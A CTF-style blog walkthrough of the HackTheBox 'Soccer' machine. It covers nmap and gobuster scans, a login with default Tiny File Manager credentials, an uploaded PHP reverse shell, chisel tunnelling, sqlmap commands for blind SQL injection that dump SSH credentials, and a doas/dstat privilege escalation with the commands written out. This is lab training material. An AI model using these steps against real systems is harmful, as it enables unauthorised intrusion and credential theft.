HTB - Soccer

HTB – Soccer

In this walk through, we will be going through the Soccer room from HackTheBox. This room is rated as Easy on the platform and it consists of exploitation of CVE-2021-45010 in Tiny File Manager to get the initial foothold. Then, via SQL Injection lateral movement was done and at last doas binary was abused to get root. So, let’s get started without any delay.


Machine Info:

DescriptionSoccer is an Easy difficulty Linux machine and it consists of exploitation of CVE-2021-45010 in Tiny File Manager to get the initial foothold. Then, via SQL Injection ssh creds was dumped for user player, thus lateral movement was done and at last doas binary was abused to get root.


  • I started off with my regular Aggressive nmap scan and found two ports 3 ports opened – 22 (SSH), 80 (HTTP) and 9091 (Xmltec).

$ sudo nmap -A
[sudo] password for wh1terose: 

Nmap scan report for
Host is up (0.20s latency).
Not shown: 996 closed ports
22/tcp   open     ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:8.2p1: 
|     	CVE-2020-15778	6.8
|     	C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3	6.8	*EXPLOIT*
|     	10213DBE-F683-58BB-B6D3-353173626207	6.8	*EXPLOIT*
|     	PRION:CVE-2020-12062	5.0
|     	PRION:CVE-2016-20012	5.0
|     	CVE-2020-12062	5.0
|     	PRION:CVE-2021-28041	4.6
|     	CVE-2021-28041	4.6
|     	PRION:CVE-2020-15778	4.4
|     	CVE-2021-41617	4.4
|     	PRION:CVE-2020-14145	4.3
|     	CVE-2020-14145	4.3
|     	CVE-2016-20012	4.3
|     	PRION:CVE-2021-41617	3.5
|     	PRION:CVE-2021-36368	2.6
|_    	CVE-2021-36368	2.6
53/tcp   filtered domain
80/tcp   open     http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open     xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Tue, 12 Dec 2023 08:00:42 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Tue, 12 Dec 2023 08:00:43 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
1   210.72 ms
2   210.84 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 59.72 seconds

nmap scan

nmap scan

  • As per the HTTP title of port 80, the application is redirecting to domain – soccer.htb. So, added it in my /etc/hosts file.

adding hostname

  • Next, fired up gobuster on the the webserver running on port 80 to find some juicy directories and got a hit for one. – /tiny.

HTB Football club

gobuster dir -u http://soccer.htb/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt

gobuster scan

  • The directory reveals a “Tiny File Manager” installation which requires a username and password combo to proceed further.

H3K Tiny File Manager

  • I looked up for the default username/password combo online admin:admin@123 and got in using them.

Default credentials

Initial Access:

  • Once in the dashboard, i find a writable directory where we can upload files on the server. So uploaded a PHP reverse shell at /var/www/html/tiny/uploads.

File manager

Uploading backdoor.php

  • Executed the backdoor shell by navigating to the below URL and got a connection back at our netcat listener. Thus, getting our initial access.


executing backdoor.php

got initial access

  • Next, fired up linpeas to get some low hanging fruits to move laterally on the target. Got an interesting port 3000 listening on localhost which is then being used as a webserver, as per the nginx config files.

Checking for Active Ports

PHP exec extensions

Lateral Movement:

  • Used chisel on our attacker and target machine in order to forward the port 3000 running on the target localhost to our attacker’s machine port 4444.

# Attacker's machine

./chisel server -p 4444 --reverse

chisel on attacker machine

# Victim's machine

./chisel client R:3000:

chisel on victim machine

  • Accessed the application on port 3000 and got an application similar to the one, we encountered in the beginning. However, there are some additional pages in the header section like Login, Signup and match.


HTB Football Club

  • I signed up on the application with some fake information and then logged in using it. The application is showcasing a Ticket ID that is generated randomly and shows if the ticket is valid or not when an input is provided in the blank field.

Sign up

Ticket ID

  • Next, checked the source code which reveals a connection that is being made to a websocket running on a virtual host at port 9091 for the checking and creation of the ticket IDs.

page source code

  • Added the Vhost in my /etc/hosts file and accessed it.

adding hostname

  • The subdomain holds an exact replica of the application running on port 3000.

  • I generated an account and logged in using that. Next, i intercepted the request via Burpsuite.

adding ticket ID

  • The id parameter takes in a value and then check it against the generated value.

Burpsuite Request

  • I used an SQL injection payload with the id value and it results in true. That means, the payload works and the application is vulnerable to Blind SQL injection attack.

adding payload

Ticket Exists

  • Used Sqlmap to dump the database names by querying the web socket running on port 9091 along with the vulnerable endpoint. Found an interesting database called “soccer_db”

sqlmap -u "ws://" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch

Enumerating Databases

  • Next, dumped the table names from soccer_db Database. Found one – accounts.

sqlmap -u "ws://" --data '{"id": "*"}' -D soccer_db --tables

Dumping tables

  • Now, dumped the column names from accounts table. Got 4 fields – email, id, password, username.

sqlmap -u "ws://" --data '{"id": "*"}' -D soccer_db -T accounts --columns

Dumping columns

  • Dumped all the columns which then reveals the SSH username and password for user player.

sqlmap -u "ws://" --data '{"id": "*"}' -D soccer_db -T accounts -C email,id,password,username --dump --threads 10

Dumping all data

  • Using the found credentials, logged into the server via SSH and captured the user flag.

got access via SSH

user flag

Privilege Escalation:

  • Fired Linpeas once again on the target and found an interesting entry in SUID bit set binaries. That was – doas.

SUID binary

  • Checked the config files for doas and found out that we can run dstat binary as user root without any password.

find / -type f -name "doas.conf" 2>/dev/nul

cat /usr/local/etc/doas.conf


  • With the help of the exploit from GTFObins, generated a python file with out commands to spawn a system shell. Then, executed the python file as user root using doas giving us a shell as user root.

GTFOBins doas exploit

echo 'import os; os.system("/bin/bash")' > /usr/local/share/dstat/

doas -u root /usr/bin/dstat --xxx

getting root

  • Finally captured the root flag and completed the room.

root flag

machine completed

Also Read: HTB – Pandora



So that was “Soccer” for you. The machine features a foothold based on default credentials, forfeiting access to a vulnerable version of the Tiny File Manager, which in turn leads to a reverse shell on the target system (CVE-2021-45010). Enumerating the target reveals a subdomain which was vulnerable to a blind SQL injection through websockets. Leveraging the SQLi leads to dumped SSH credentials for the player user, who can run dstat using doas- an alternative to sudo. By creating a custom Python plugin for doas, a shell as root was then spawned through the SUID bit of the doas binary, leading to fully escalated privileges. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top